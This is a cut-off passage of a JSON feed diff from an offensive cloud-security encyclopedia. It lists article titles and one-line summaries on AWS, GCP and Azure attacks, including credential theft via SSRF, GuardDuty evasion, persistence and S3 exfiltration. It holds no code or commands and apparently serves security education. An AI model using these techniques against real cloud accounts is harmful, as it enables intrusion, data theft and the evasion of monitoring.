"https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_modified": "2023-02-17T04:07:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_modified": "2023-01-26T01:07:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_modified": "2023-01-09T03:01:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_modified": "2022-12-28T18:47:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}]} \ No newline at end of file +{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_updated.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_modified": "2024-08-04T21:24:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_modified": "2024-07-31T20:37:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_modified": "2024-07-30T15:11:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_modified": "2024-07-14T21:50:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_modified": "2024-06-15T06:21:29+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_modified": "2024-05-29T03:08:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_modified": "2024-05-28T14:52:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_modified": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_modified": "2024-04-14T19:40:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_modified": "2024-02-15T03:00:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_modified": "2024-02-14T03:21:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_modified": "2024-02-09T02:49:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_modified": "2024-02-02T00:17:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_modified": "2024-01-23T00:25:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_modified": "2024-01-21T17:34:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_modified": "2024-01-21T17:27:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_modified": "2024-01-21T17:20:20+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_modified": "2024-01-13T20:48:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_modified": "2024-01-13T01:04:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_modified": "2024-01-11T08:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_modified": "2024-01-08T15:03:16+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_modified": "2024-01-06T22:14:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_modified": "2024-01-06T20:43:40+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_modified": "2024-01-04T04:45:39+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_modified": "2023-12-26T20:35:31+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_modified": "2023-12-08T02:37:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_modified": "2023-11-05T18:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_modified": "2023-10-18T00:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_modified": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and 